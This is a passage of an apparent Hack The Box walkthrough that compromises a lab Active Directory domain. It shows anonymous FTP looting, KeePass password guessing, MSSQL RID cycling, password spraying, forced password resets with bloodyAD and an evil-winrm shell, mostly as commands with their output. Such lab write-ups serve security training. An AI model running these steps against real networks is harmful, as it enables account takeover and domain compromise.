computer account. This allowed full control over the machine account, including resetting its password.\n\nFinally, the **SeEnableDelegationPrivilege** assigned to `Helen.Frost` was abused to configure **Constrained Delegation** on the `FS01

computer account. After configuring the required delegation attributes and obtaining Kerberos tickets using the **S4U2Self** and **S4U2Proxy** extensions, it became possible to impersonate the `DC

machine account. Using the delegated Kerberos ticket, a **DCSync** attack was performed to dump the **Administrator** NTLM hash, which was then used with **Pass-the-Hash** to obtain a shell as **Domain Administrator**, completing the compromise of the domain.\n\n## Enumeration\n\n## Nmap Scanning\n\nAs always, I started by performing a full Nmap scan against the target to identify the exposed services and understand what attack surface was available.\n\n```bash\n# Nmap 7.99 scan initiated Tue Jun 30 00:10:32 2026 as: /usr/lib/nmap/nmap --privileged -sV -A -oN nmap.txt 10.129.234.50\nNmap scan report for 10.129.234.50\nHost is up (0.050s latency).\nNot shown: 984 closed tcp ports (reset)\nPORT STATE SERVICE VERSION\n21/tcp open ftp Microsoft ftpd\n| ftp-syst:\n|_ SYST: Windows_NT\n| ftp-anon: Anonymous FTP login allowed (FTP code 230)\n| 10-20-24 01:11AM 434 CyberAudit.txt\n| 10-20-24 05:14AM 2622 Shared.kdbx\n|_10-20-24 01:26AM 580 TrainingAgenda.txt\n53/tcp open domain Simple DNS Plus\n80/tcp open http Microsoft IIS httpd 10.0\n| http-methods:\n|_ Potentially risky methods: TRACE\n|_http-title: IIS Windows Server\n|_http-server-header: Microsoft-IIS/10.0\n88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-29 18:40:51Z)\n135/tcp open msrpc Microsoft Windows RPC\n139/tcp open netbios-ssn Microsoft Windows netbios-ssn\n389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: redelegate.vl, Site: Default-First-Site-Name)\n445/tcp open microsoft-ds?\n464/tcp open kpasswd5?\n593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0\n636/tcp open tcpwrapped\n1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM\n| ms-sql-ntlm-info:\n| 10.129.234.50:1433:\n| Target_Name: REDELEGATE\n| NetBIOS_Domain_Name: REDELEGATE\n| NetBIOS_Computer_Name: DC\n| DNS_Domain_Name: redelegate.vl\n| DNS_Computer_Name: dc.redelegate.vl\n| DNS_Tree_Name: redelegate.vl\n|_ Product_Version: 10.0.20348\n| ms-sql-info:\n| 10.129.234.50:1433:\n| Version:\n| name: Microsoft SQL Server 2019 RTM\n| number: 15.00.2000.00\n| Product: Microsoft SQL Server 2019\n| Service pack level: RTM\n| Post-SP patches applied: false\n|_ TCP port: 1433\n|_ssl-date: 2026-06-29T18:41:15+00:00; +12s from scanner time.\n| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback\n| Not valid before: 2026-06-29T18:37:54\n|_Not valid after: 2056-06-29T18:37:54\n3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: redelegate.vl, Site: Default-First-Site-Name)\n3269/tcp open tcpwrapped\n3389/tcp open ms-wbt-server Microsoft Terminal Services\n| ssl-cert: Subject: commonName=dc.redelegate.vl\n| Not valid before: 2026-06-28T18:35:15\n|_Not valid after: 2026-12-28T18:35:15\n|_ssl-date: 2026-06-29T18:41:15+00:00; +12s from scanner time.\n| rdp-ntlm-info:\n| Target_Name: REDELEGATE\n| NetBIOS_Domain_Name: REDELEGATE\n| NetBIOS_Computer_Name: DC\n| DNS_Domain_Name: redelegate.vl\n| DNS_Computer_Name: dc.redelegate.vl\n| DNS_Tree_Name: redelegate.vl\n| Product_Version: 10.0.20348\n|_ System_Time: 2026-06-29T18:41:05+00:00\n5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)\n|_http-title: Not Found\n|_http-server-header: Microsoft-HTTPAPI/2.0\n\n...SNIP...\n```\n\n## Nmap Analysis\n\nThe scan reveals a typical **Windows Active Directory Domain Controller**. Several services immediately stand out:\n\n- `FTP (21)` — Anonymous login is enabled.\n- `LDAP (389/3268)` and `Kerberos (88)` — Confirm that this is an Active Directory environment.\n- `SMB (445)` — Useful for share enumeration.\n- `Microsoft SQL Server (1433)` — An interesting service that may become useful if credentials are obtained.\n- `WinRM (5985)` and `RDP (3389)` — Potential remote access methods later in the attack.\n\nThe service banners also reveal the internal domain name:\n\n```text\nredelegate.vl\n```\n\nTo avoid any DNS resolution issues during the assessment, I added the domain to my local hosts file.\n\n```bash\necho 10.129.234.50 dc.redelegate.vl redelegate.vl | sudo tee -a /etc/hosts\n```\n\n## Web Enumeration\n\nI first checked the web server running on port `80`.\n\n\n\nThe website only displays the default IIS landing page. There are no links, applications, or interesting content to enumerate further, so I moved on to the remaining services.\n\n## SMB Enumeration\n\nNext, I attempted to enumerate SMB shares anonymously.\n\n```bash\nsmbclient -L -N \\\\\\\\10.129.234.50\\\\\ndo_connect: Connection to -N failed (Error NT_STATUS_NOT_FOUND)\n```\n\nAnonymous enumeration was unsuccessful, and no accessible SMB shares were exposed.\n\n## FTP Enumeration\n\nWhile reviewing the Nmap results, I noticed that the FTP service allows **anonymous authentication**, which is often worth investigating.\n\nConnecting to the server confirms that anonymous access is enabled.\n\n```bash\nftp 10.129.234.50\nConnected to 10.129.234.50.\n220 Microsoft FTP Service\nName (10.129.234.50:madhav): anonymous\n331 Anonymous access allowed, send identity (e-mail name) as password.\nPassword:\n230 User logged in.\nRemote system type is Windows_NT.\nftp> dir\n229 Entering Extended Passive Mode (|||59664|)\n125 Data connection already open; Transfer starting.\n10-20-24 01:11AM 434 CyberAudit.txt\n10-20-24 05:14AM 2622 Shared.kdbx\n10-20-24 01:26AM 580 TrainingAgenda.txt\n226 Transfer complete.\nftp>\n```\n\nThree interesting files are exposed through the anonymous FTP share:\n\n- `CyberAudit.txt`\n- `TrainingAgenda.txt`\n- `Shared.kdbx`\n\nSince all of them appear to contain internal information, I downloaded each file for further analysis.\n\n```text\nftp> get CyberAudit.txt\nlocal: CyberAudit.txt remote: CyberAudit.txt\n229 Entering Extended Passive Mode (|||59666|)\n125 Data connection already open; Transfer starting.\n100% |*************************************************************************************************************************************************| 434 8.33 KiB/s 00:00 ETA\n226 Transfer complete.\n434 bytes received in 00:00 (8.32 KiB/s)\nftp> get Shared.kdbx\nlocal: Shared.kdbx remote: Shared.kdbx\n229 Entering Extended Passive Mode (|||59667|)\n125 Data connection already open; Transfer starting.\n100% |*************************************************************************************************************************************************| 2622 1.07 KiB/s 00:00 ETA\n226 Transfer complete.\nWARNING! 10 bare linefeeds received in ASCII mode.\nFile may not have transferred correctly.\n2622 bytes received in 00:02 (1.07 KiB/s)\n```\n\nWhile downloading `Shared.kdbx`, FTP displayed a warning indicating that the file was transferred in **ASCII mode**.\n\nThis is important because a **KeePass database (`.kdbx`) is a binary file**. Downloading binary files in ASCII mode can alter the file contents by converting line endings, which may corrupt the database and prevent it from opening correctly.\n\nTo avoid this, FTP should be switched to **binary mode**, ensuring the file is downloaded exactly as it exists on the server.\n\n```bash\nftp> binary\n200 Type set to I.\nftp> get Shared.kdbx\nlocal: Shared.kdbx remote: Shared.kdbx\n229 Entering Extended Passive Mode (|||56518|)\n125 Data connection already open; Transfer starting.\n100% |****************************************************************************************************| 2622 14.79 KiB/s 00:00 ETA\n226 Transfer complete.\n2622 bytes received in 00:00 (14.78 KiB/s)\nftp>\n```\n\nAfter switching to binary mode, the KeePass database was downloaded successfully without any corruption.\n\nFinally, I downloaded the remaining file.\n\n```bash\nftp> get TrainingAgenda.txt\nlocal: TrainingAgenda.txt remote: TrainingAgenda.txt\n229 Entering Extended Passive Mode (|||59668|)\n125 Data connection already open; Transfer starting.\n100% |*************************************************************************************************************************************************| 580 11.32 KiB/s 00:00 ETA\n226 Transfer complete.\n580 bytes received in 00:00 (11.30 KiB/s)\nftp>\n```\n\n``` bash \nftp> get TrainingAgenda.txt\nlocal: TrainingAgenda.txt remote: TrainingAgenda.txt\n229 Entering Extended Passive Mode (|||59668|)\n125 Data connection already open; Transfer starting.\n100% |*************************************************************************************************************************************************| 580 11.32 KiB/s 00:00 ETA\n226 Transfer complete.\n580 bytes received in 00:00 (11.30 KiB/s)\nftp>\n```\n## Reviewing the Downloaded Files\n\nWith all three files downloaded successfully, the next step was to inspect their contents and see if they contained anything useful for gaining access to the environment.\n\nThe first file appears to be an internal cybersecurity audit report.\n\n```bash\ncat CyberAudit.txt\n─────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\n │ File: CyberAudit.txt\n─────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\n 1 │ OCTOBER 2024 AUDIT FINDINGS\n 2 │\n 3 │ [!] CyberSecurity Audit findings:\n 4 │\n 5 │ 1) Weak User Passwords\n 6 │ 2) Excessive Privilege assigned to users\n 7 │ 3) Unused Active Directory objects\n 8 │ 4) Dangerous Active Directory ACLs\n 9 │\n 10 │ [*] Remediation steps:\n 11 │\n 12 │ 1) Prompt users to change their passwords: DONE\n 13 │ 2) Check privileges for all users and remove high privileges: DONE\n 14 │ 3) Remove unused objects in the domain: IN PROGRESS\n 15 │ 4) Recheck ACLs: IN PROGRESS\n```\n\nThe report confirms that the organization recently performed a security audit. A few findings immediately stand out, especially **weak user passwords** and **dangerous Active Directory ACLs**. These are both common attack paths in Active Directory environments, so it's worth keeping them in mind as we continue our enumeration.\n\nNext, I examined the second document.\n\n```bash\ncat TrainingAgenda.txt\n─────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\n │ File: TrainingAgenda.txt\n─────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\n 1 │ EMPLOYEE CYBER AWARENESS TRAINING AGENDA (OCTOBER 2024)\n 2 │\n 3 │ Friday 4th October | 14.30 - 16.30 - 53 attendees\n 4 │ \"Don't take the bait\" - How to better understand phishing emails and what to do when you see one\n 5 │\n 6 │\n 7 │ Friday 11th October | 15.30 - 17.30 - 61 attendees\n 8 │ \"Social Media and their dangers\" - What happens to what you post online?\n 9 │\n 10 │\n 11 │ Friday 18th October | 11.30 - 13.30 - 7 attendees\n 12 │ \"Weak Passwords\" - Why \"SeasonYear!\" is not a good password\n 13 │\n 14 │\n 15 │ Friday 25th October | 9.30 - 12.30 - 29 attendees\n 16 │ \"What now?\" - Consequences of a cyber attack and how to mitigate them\n```\n\nAt first glance, this looks like a normal employee training schedule. However, one line immediately caught my attention:\n\n```text\n\"Weak Passwords\" - Why \"SeasonYear!\" is not a good password\n```\n\nNormally this would just be awareness training material, but in Hack The Box machines, these documents often contain subtle hints. Since we also recovered a KeePass database named `Shared.kdbx`, there's a good chance this password pattern is related to the vault password.\n\nThe obvious first attempt was to try the password exactly as written:\n\n```text\nSeasonYear!\n```\n\nUnfortunately, that didn't unlock the database.\n\nInstead of taking the string literally, I looked at the pattern itself:\n\n```text\nSeason + Year + !\n```\n\nThe documents are dated **October 2024**, so replacing `Year` with `2024` seemed like a reasonable next step. The only missing piece was the season.\n\nThere are only a handful of possible combinations, so rather than brute-forcing the database, I created a small custom wordlist using the four seasons.\n\nA quick search confirms the possible season names.\n\n\n\nThe custom wordlist looks like this:\n\n```bash\ncat sesons-wordlist.txt\n─────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\n │ File: sesons-wordlist.txt\n─────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\n 1 │ Winter2024!\n 2 │ Summer2024!\n 3 │ Autumn2024!\n 4 │ Fall2024!\n 5 │ Spring2024!\n```\n\nBefore attempting to open the database, I confirmed the file type.\n\n```bash\nfile Shared.kdbx\nShared.kdbx: Keepass password database 2.x KDBX\n```\n\nThe output confirms that `Shared.kdbx` is indeed a **KeePass Password Database**.\n\nIf `KeePassXC` is not already installed on your system, it can be installed with:\n\n```bash\nsudo apt install keepassxc\n```\n\nWith everything ready, I opened the database.\n\n```bash\nkeepassxc Shared.kdbx\n```\n\n\n\nI then tested each password from the custom wordlist one by one.\n\nEventually, one of them successfully unlocked the database.\n\n\n\nThe correct master password is:\n\n```text\nFall2024!\n```\n\nAfter unlocking the KeePass vault, several stored credentials became available.\n\n\n\nThe database contains credentials for multiple services:\n\n```text\nFTPUser : SguPZBKdRyxWzvXRWy6U\nAdministrator : Spdv41gg4BlBgSYIW1gF\nSQLGuest : zDPBpaF4FywlqIv11vii\nWordPress Panel : cn4KOEgsHqvKXPjEnSD9\n```\n## Validating the Recovered Credentials\n\nThe KeePass database provided credentials for several different services. Rather than assuming where each credential belongs, the next step is to validate them against the exposed services and identify which ones are actually usable.\n\nTo make testing easier, I saved all usernames and passwords into two separate files:\n\n```text\nusername\npasswords\n```\n\nSince the Nmap scan revealed that Microsoft SQL Server was running on port `1433`, I started by validating the recovered credentials against the MSSQL service.\n\n```bash\nnxc mssql 10.129.23.215 -u username -p passwords --local-auth\nMSSQL 10.129.23.215 1433 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl) (EncryptionReq:False)\nMSSQL 10.129.23.215 1433 DC [-] DC\\FTPUser:SguPZBKdRyxWzvXRWy6U (Login failed for user 'FTPUser'. Please try again with or without '--local-auth')\nMSSQL 10.129.23.215 1433 DC [-] DC\\Administrator:SguPZBKdRyxWzvXRWy6U (Login failed for user 'Administrator'. Please try again with or without '--local-auth')\nMSSQL 10.129.23.215 1433 DC [-] DC\\SQlGuest:SguPZBKdRyxWzvXRWy6U (Login failed for user 'SQlGuest'. Please try again with or without '--local-auth')\nMSSQL 10.129.23.215 1433 DC [-] DC\\\"WordPress Panel\":SguPZBKdRyxWzvXRWy6U (Login failed for user '\\\"WordPress Panel\\\"'. Please try again with or without '--local-auth')\nMSSQL 10.129.23.215 1433 DC [-] DC\\FTPUser:Spdv41gg4BlBgSYIW1gF (Login failed for user 'FTPUser'. Please try again with or without '--local-auth')\nMSSQL 10.129.23.215 1433 DC [-] DC\\Administrator:Spdv41gg4BlBgSYIW1gF (Login failed for user 'Administrator'. Please try again with or without '--local-auth')\nMSSQL 10.129.23.215 1433 DC [-] DC\\SQlGuest:Spdv41gg4BlBgSYIW1gF (Login failed for user 'SQlGuest'. Please try again with or without '--local-auth')\nMSSQL 10.129.23.215 1433 DC [-] DC\\\"WordPress Panel\":Spdv41gg4BlBgSYIW1gF (Login failed for user '\\\"WordPress Panel\\\"'. Please try again with or without '--local-auth')\nMSSQL 10.129.23.215 1433 DC [-] DC\\FTPUser:zDPBpaF4FywlqIv11vii (Login failed for user 'FTPUser'. Please try again with or without '--local-auth')\nMSSQL 10.129.23.215 1433 DC [-] DC\\Administrator:zDPBpaF4FywlqIv11vii (Login failed for user 'Administrator'. Please try again with or without '--local-auth')\nMSSQL 10.129.23.215 1433 DC [+] DC\\SQlGuest:zDPBpaF4FywlqIv11vii\n```\n\nMost of the credential combinations failed, but one immediately stood out.\n\nThe following credentials are valid:\n\n```text\nSQLGuest : zDPBpaF4FywlqIv11vii\n```\n\nNow that we have valid SQL Server credentials, we can connect to the database and begin enumerating the server.\n\n```bash\nimpacket-mssqlclient -dc-ip 10.129.23.215 dc.redelegate.vl/SQlGuest:[email protected]\nImpacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies\n\n[*] Encryption required, switching to TLS\n[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master\n[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english\n[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192\n[*] INFO(DC\\SQLEXPRESS): Line 1: Changed database context to 'master'.\n[*] INFO(DC\\SQLEXPRESS): Line 1: Changed language setting to us_english.\n[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)\n[!] Press help for extra shell commands\nSQL (SQLGuest guest@master)>\n```\n\nGreat! We now have interactive access to the SQL Server.\n\nThe next objective is to determine exactly what this account is allowed to do. Even low-privileged SQL accounts can sometimes expose valuable information or be abused for privilege escalation.\n\nOne useful built-in function is `SUSER_SID()`, which returns the **Security Identifier (SID)** associated with a Windows account. These SIDs are commonly used internally by SQL Server and Active Directory to identify users and can later become useful when interacting with SQL permissions or Active Directory objects.\n\nAs a quick test, I queried the SID for the domain Administrator account.\n\n```bash\nSQL (SQLGuest guest@master)> SELECT SUSER_SID('redelegate\\Administrator');\n\n-----------------------------------------------------------\nb'010500000000000515000000a185deefb22433798d8e847af4010000'\n```\n\nThe query executes successfully, confirming that our account has permission to resolve Windows account SIDs from within SQL Server. While this alone doesn't provide elevated privileges, it shows that the account can query useful information from the SQL instance, making further enumeration worthwhile.\n## Enumerating Domain Users Through MSSQL\n\nNow that we have a working MSSQL account, the next question is: **can we gather information about the Active Directory domain through SQL Server?**\n\nEarlier, we retrieved the SID of the `Administrator` account using the `SUSER_SID()` function. Since SQL Server is domain joined, it can often be abused to enumerate domain users and groups even from a low-privileged SQL account.\n\nInstead of manually querying individual SIDs, Metasploit provides a module that automates this process by performing **RID cycling**. It uses the domain SID as a base and brute-forces Relative Identifiers (RIDs) to discover valid users and groups in the domain.\n\nThe module we'll use is:\n\n```text\nauxiliary/admin/mssql/mssql_enum_domain_accounts\n```\n\nAfter loading the module, configure it with the SQL Server credentials we recovered from the KeePass database.\n\n```bash\nauxiliary(admin/mssql/mssql_enum_domain_accounts) > show options\n\nModule options (auxiliary/admin/mssql/mssql_enum_domain_accounts):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n FuzzNum 10000 yes Number of principal_ids to fuzz.\n PASSWORD no The password for the specified username\n RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html\n RPORT 1433 yes The target port (TCP)\n USERNAME sa no The username to authenticate as\n\n\nView the full module info with the info, or info -d command.\n\nmsf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set RHOST\nset RHOSTNAME set RHOSTS\nmsf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set RHOSTS redelgate.vl\nRHOSTS => redelgate.vl\nmsf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set USERNAME SQlGuest\nUSERNAME => SQlGuest\nmsf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set password zDPBpaF4FywlqIv11vii\npassword => zDPBpaF4FywlqIv11vii\n```\n\nWith the module configured, we can execute it.\n\n```bash\nmsf auxiliary(admin/mssql/mssql_enum_domain_accounts) > run\n[*] Running module against 10.129.234.50\n[*] 10.129.234.50:1433 - Attempting to connect to the database server at 10.129.234.50:1433 as SQlGuest...\n[+] 10.129.234.50:1433 - Connected.\n[*] 10.129.234.50:1433 - SQL Server Name: WIN-Q13O908QBPG\n[*] 10.129.234.50:1433 - Domain Name: REDELEGATE\n[+] 10.129.234.50:1433 - Found the domain sid: 010500000000000515000000a185deefb22433798d8e847a\n[*] 10.129.234.50:1433 - Brute forcing 10000 RIDs through the SQL Server, be patient...\n[*] 10.129.234.50:1433 - - WIN-Q13O908QBPG\\Administrator\n[*] 10.129.234.50:1433 - - REDELEGATE\\Guest\n[*] 10.129.234.50:1433 - - REDELEGATE\\krbtgt\n[*] 10.129.234.50:1433 - - REDELEGATE\\Domain Admins\n[*] 10.129.234.50:1433 - - REDELEGATE\\Domain Users\n[*] 10.129.234.50:1433 - - REDELEGATE\\Domain Guests\n[*] 10.129.234.50:1433 - - REDELEGATE\\Domain Computers\n[*] 10.129.234.50:1433 - - REDELEGATE\\Domain Controllers\n[*] 10.129.234.50:1433 - - REDELEGATE\\Cert Publishers\n[*] 10.129.234.50:1433 - - REDELEGATE\\Schema Admins\n[*] 10.129.234.50:1433 - - REDELEGATE\\Enterprise Admins\n[*] 10.129.234.50:1433 - - REDELEGATE\\Group Policy Creator Owners\n[*] 10.129.234.50:1433 - - REDELEGATE\\Read-only Domain Controllers\n[*] 10.129.234.50:1433 - - REDELEGATE\\Cloneable Domain Controllers\n[*] 10.129.234.50:1433 - - REDELEGATE\\Protected Users\n[*] 10.129.234.50:1433 - - REDELEGATE\\Key Admins\n[*] 10.129.234.50:1433 - - REDELEGATE\\Enterprise Key Admins\n[*] 10.129.234.50:1433 - - REDELEGATE\\RAS and IAS Servers\n[*] 10.129.234.50:1433 - - REDELEGATE\\Allowed RODC Password Replication Group\n[*] 10.129.234.50:1433 - - REDELEGATE\\Denied RODC Password Replication Group\n[*] 10.129.234.50:1433 - - REDELEGATE\\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG\n[*] 10.129.234.50:1433 - - REDELEGATE\\DC$\n[*] 10.129.234.50:1433 - - REDELEGATE\\FS01$\n[*] 10.129.234.50:1433 - - REDELEGATE\\Christine.Flanders\n[*] 10.129.234.50:1433 - - REDELEGATE\\Marie.Curie\n[*] 10.129.234.50:1433 - - REDELEGATE\\Helen.Frost\n[*] 10.129.234.50:1433 - - REDELEGATE\\Michael.Pontiac\n[*] 10.129.234.50:1433 - - REDELEGATE\\Mallory.Roberts\n[*] 10.129.234.50:1433 - - REDELEGATE\\James.Dinkleberg\n[*] 10.129.234.50:1433 - - REDELEGATE\\Helpdesk\n[*] 10.129.234.50:1433 - - REDELEGATE\\IT\n[*] 10.129.234.50:1433 - - REDELEGATE\\Finance\n[*] 10.129.234.50:1433 - - REDELEGATE\\DnsAdmins\n[*] 10.129.234.50:1433 - - REDELEGATE\\DnsUpdateProxy\n[*] 10.129.234.50:1433 - - REDELEGATE\\Ryan.Cooper\n[*] 10.129.234.50:1433 - - REDELEGATE\\sql_svc\n```\n\nThe module successfully enumerated the Active Directory domain and recovered a list of valid users, groups, and computer accounts.\n\nThis is valuable information because we now have a reliable username list that can be used for password spraying, Kerberos attacks, LDAP enumeration, or BloodHound collection later in the engagement.\n\nSome of the interesting accounts recovered include:\n\n- `Christine.Flanders`\n- `Marie.Curie`\n- `Helen.Frost`\n- `Michael.Pontiac`\n- `Mallory.Roberts`\n- `James.Dinkleberg`\n- `Ryan.Cooper`\n- `sql_svc`\n\nAt this point, we have two valuable pieces of information:\n\n- A valid SQL Server account.\n- A list of valid domain users.\n\nSince we already recovered several passwords from the KeePass database, it's worth checking whether any users are **reusing passwords** across different services. Password reuse is a very common issue in enterprise environments, and the audit report we found earlier even highlighted weak password practices.\n\nThe output from the Metasploit module contains usernames prefixed with the domain name, so I first extracted only the usernames into a separate file.\n\n```bash\ncut -d'\\' -f2 usernames > usernames.txt\n```\n\nThe resulting file contains the following domain users and groups:\n\n```bash\ncat usernames.txt\nAdministrator\nGuest\nkrbtgt\nDomain Admins\nDomain Users\nDomain Guests\nDomain Computers\nDomain Controllers\nCert Publishers\nSchema Admins\nEnterprise Admins\nGroup Policy Creator Owners\nRead-only Domain Controllers\nCloneable Domain Controllers\nProtected Users\nKey Admins\nEnterprise Key Admins\nRAS and IAS Servers\nAllowed RODC Password Replication Group\nDenied RODC Password Replication Group\nSQLServer2005SQLBrowserUser$WIN-Q13O908QBPG\nDC$\nFS01$\nChristine.Flanders\nMarie.Curie\nHelen.Frost\nMichael.Pontiac\nMallory.Roberts\nJames.Dinkleberg\nHelpdesk\nIT\nFinance\nDnsAdmins\nDnsUpdateProxy\nRyan.Cooper\nsql_svc\n```\n\nNext, I created another file containing every password we've recovered so far during the assessment.\n\n```bash\ncat passwords.txt\n─────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\n │ File: passwords.txt\n─────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\n 1 │ cn4KOEgsHqvKXPjEnSD9\n 2 │ cVkqz4bCM7kJRSNlgx2G\n 3 │ hMFS4I0Kj8Rcd62vqi5X\n 4 │ SguPZBKdRyxWzvXRWy6U\n 5 │ Spdv41gg4BlBgSYIW1gF\n 6 │ zDPBpaF4FywlqIv11vii\n 7 │ SeasonYear!\n 8 │ Fall2024!\n```\n\nWith both files prepared, I performed a password spray against SMB using `NetExec`. This tests every username against the recovered password list and quickly identifies any password reuse.\n\n```bash\nnxc smb redelegate.vl -u usernames.txt -p passwords.txt\nSMB 10.129.234.50 445 DC [-] redelegate.vl\\Mallory.Roberts:hMFS4I0Kj8Rcd62vqi5X STATUS_ACCOUNT_RESTRICTION\nSMB 10.129.234.50 445 DC [+] redelegate.vl\\Marie.Curie:Fall2024!\n```\n\nSuccess!\n\nOne of the recovered passwords is being reused by the domain user:\n\n```text\nMarie.Curie : Fall2024!\n```\n\nThis gives us our first valid Active Directory user account.\n\n## SMB Enumeration as Marie.Curie\n\nWith valid domain credentials, I started by checking which SMB shares were accessible.\n\n```bash\nnxc smb redelegate.vl -u Marie.Curie -p Fall2024! --shares\nSMB 10.129.234.50 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB 10.129.234.50 445 DC [+] redelegate.vl\\Marie.Curie:Fall2024!\nSMB 10.129.234.50 445 DC [*] Enumerated shares\nSMB 10.129.234.50 445 DC Share Permissions Remark\nSMB 10.129.234.50 445 DC ----- ----------- ------\nSMB 10.129.234.50 445 DC ADMIN$ Remote Admin\nSMB 10.129.234.50 445 DC C$ Default share\nSMB 10.129.234.50 445 DC IPC$ READ Remote IPC\nSMB 10.129.234.50 445 DC NETLOGON READ Logon server share\nSMB 10.129.234.50 445 DC SYSVOL READ Logon server share\n```\n\nUnfortunately, nothing immediately useful was exposed through SMB. Both `NETLOGON` and `SYSVOL` are readable, which is fairly common in Active Directory environments.\n\nSince we now have valid domain credentials, this is a good opportunity to collect **BloodHound** data and look for privilege escalation paths.\n\n## BloodHound Enumeration\n\nUsing `NetExec`, I collected the BloodHound data directly over LDAP.\n\n```bash\nnxc ldap redelegate.vl -u Marie.Curie -p Fall2024! --bloodhound -c All --dns-server 10.129.234.50\nLDAP 10.129.234.50 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl) (signing:None) (channel binding:No TLS cert)\nLDAP 10.129.234.50 389 DC [+] redelegate.vl\\Marie.Curie:Fall2024!\nLDAP 10.129.234.50 389 DC Resolved collection methods: acl, adcs, container, dcom, group, localadmin, loggedon, objectprops, psremote, rdp, session, trusts\nLDAP 10.129.234.50 389 DC Excluded collection methods:\nLDAP 10.129.234.50 389 DC Bloodhound data collection completed in 0M 37S\nLDAP 10.129.234.50 389 DC Collecting ADCS data (CertiHound)...\nLDAP 10.129.234.50 389 DC Found 0 certificate templates\nLDAP 10.129.234.50 389 DC Found 0 Enterprise CAs\nLDAP 10.129.234.50 389 DC Compressing output into /home/madhav/.nxc/logs/DC_10.129.234.50_2026-07-02_013624_bloodhound.zip\n```\n\nAfter importing the collected data into BloodHound, I marked `Marie.Curie` as **Owned** and started reviewing the outbound object control.\n\n\n\nThe graph immediately revealed an interesting attack path.\n\n\n\nBloodHound shows that `Marie.Curie` is a member of the `Helpdesk` group.\n\nMore importantly, members of the `Helpdesk` group have the **ForceChangePassword** privilege over several domain users:\n\n- `Guest`\n- `Christine.Flanders`\n- `Helen.Frost`\n- `Michael.Pontiac`\n- `James.Dinkleberg`\n- `sql_svc`\n\nThe `ForceChangePassword` permission allows us to reset another user's password **without knowing their current password**. This is a powerful privilege because it effectively lets us take over those accounts.\n\nSince we already have credentials for `sql_svc`, there's no need to reset its password. Instead, I targeted the remaining user accounts.\n\nUsing `bloodyAD`, I reset each password to a known value.\n\n```bash\nbloodyAD -H 10.129.234.50 -d redelegate.vl -u Marie.Curie -p 'Fall2024!' set password James.Dinkleberg 'Pentest@123'\n[+] Password changed successfully!\n\nbloodyAD -H 10.129.234.50 -d redelegate.vl -u Marie.Curie -p 'Fall2024!' set password Michael.Pontiac 'Pentest@123'\n[+] Password changed successfully!\n\nbloodyAD -H 10.129.234.50 -d redelegate.vl -u Marie.Curie -p 'Fall2024!' set password helen.frost 'Pentest@123'\n[+] Password changed successfully!\n\nbloodyAD -H 10.129.234.50 -d redelegate.vl -u Marie.Curie -p 'Fall2024!' set password Christine.flanders 'Pentest@123'\n[+] Password changed successfully!\n```\n\n## Gaining Access as Helen.Frost\n\nAfter resetting the passwords for the four users, I updated the BloodHound graph by marking all of them as **Owned**. This makes it much easier to visualize any new privilege escalation paths that become available after compromising additional accounts.\n\n\n\nOne path immediately stood out.\n\nThe `Helen.Frost` user is a member of the **IT** group, and BloodHound shows that members of this group have **GenericAll** permissions over the `FS01

computer account.\n\n`GenericAll` is one of the most powerful permissions in Active Directory. It effectively gives full control over the target object, allowing us to modify its attributes, reset its password, configure delegation, and much more. Since `FS01

is a computer account, controlling it could become very useful later.\n\nBefore abusing those permissions, I wanted to check whether any of the newly compromised users already had remote access to the Domain Controller through WinRM.\n\n```bash\nnxc winrm redelegate.vl -u user -p Pentest@123 --continue-on-success\nWINRM 10.129.234.50 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl)\nWINRM 10.129.234.50 5985 DC [-] redelegate.vl\\Christine.flanders:Pentest@123\nWINRM 10.129.234.50 5985 DC [+] redelegate.vl\\helen.frost:Pentest@123 (Pwn3d!)\nWINRM 10.129.234.50 5985 DC [-] redelegate.vl\\Michael.Pontiac:Pentest@123\nWINRM 10.129.234.50 5985 DC [-] redelegate.vl\\James.Dinkleberg:Pentest@123\n```\n\nGreat! `Helen.Frost` has WinRM access, giving us an interactive shell on the Domain Controller.\n\n```bash\nevil-winrm -i redelegate.vl -u helen.frost -p Pentest@123\n\nEvil-WinRM shell v3.9\n\nWarning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline\n\nData: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion\n\nInfo: Establishing connection to remote endpoint\n*Evil-WinRM* PS C:\\Users\\Helen.Frost\\Documents>\n```\n\nFinally, we have an interactive shell on the 